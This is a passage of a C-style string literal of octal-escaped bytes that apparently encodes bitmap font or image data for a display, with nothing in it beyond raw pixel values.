\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\"\n  \"\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\370\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\370\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\17\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\\377\\377\\376\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\340\\360\\370\\370\\374\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\374\\370\\370\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\"\n  \"\\377\\177\\77\\37\\17\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\\377\\377\\374\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\377\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374\\376\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\203\\301\\340\\360\\370\\374\\376\\374\\370\\360\"\n  \"\\340\\300\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\374\\377\\377\\377\\377\\377\\377\\77\\17\\3\\1\\0\\0\\300\\370\\374\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\"\n  \"\\201\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\377\\377\\377\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\377\\377\\377\\376\\374\\374\\374\\376\\377\"\n  \"\\377\\377\\177\\77\\77\\37\\17\\7\\203\\301\\340\\360\\370\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\377\\377\\377\\376\\374\\360\\340\\340\\300\\200\\200\\200\\0\\0\\1\\1\\3\\3\\3\\3\\201\\201\"\n  \"\\201\\300\\340\\340\\370\\374\\376\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\7\\17\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\"\n  \"\\177\\177\\77\\77\\37\\37\\17\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\376\"\n  \"\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\376\\376\\377\\377\\377\\377\\377\\376\"\n  \"\\376\\374\\370\\340\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\177\\177\\377\\377\\377\\377\\377\\177\"\n  \"\\177\\77\\37\\7\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\3\\7\\37\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\360\\360\\370\\374\\374\\376\\377\"\n  \"\\376\\374\\70\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\177\\37\\17\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\300\\340\\340\\360\\370\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\17\\7\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\3\\7\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\37\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\"\n  \"\\370\\360\\340\\200\\0\\0\\0\\0\\0\\3\\17\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\60\\60x|~\\177\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\77\\37\\17\\17\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\"\n  \"\\360\\374\\376\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\376\\377\\377\\377\\377\\377\\377\\377\\177\\77\\77\\77\\77\\177\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\377\\377\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\17\\77\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\377\\377\\374\\360\\340\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\1\\1\\3\\3\\3\\3\\7\\17\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\377\\377\\377\\377\\376\\376\"\n  \"\\376\\374\\374\\374\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370\\370\\374\\374\\374\\376\\376\\376\\376\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\374\\370\\370\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\17\\7\\3\\3\\1\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\1\\1\\1\\3\\3\\7\\17\\17\\37\\77\\177\\377\\377\\377\\377\\376\\374\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\\377\\377\\177\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\37\\377\\377\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\177\\37\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\376\\374\\370\\360\\340\\340\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\340\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\370\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\77\\37\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\374\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\37\\17\\17\"\n  \"\\17\\17\\37\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\370\\360\\360\"\n  \"\\360\\360\\370\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  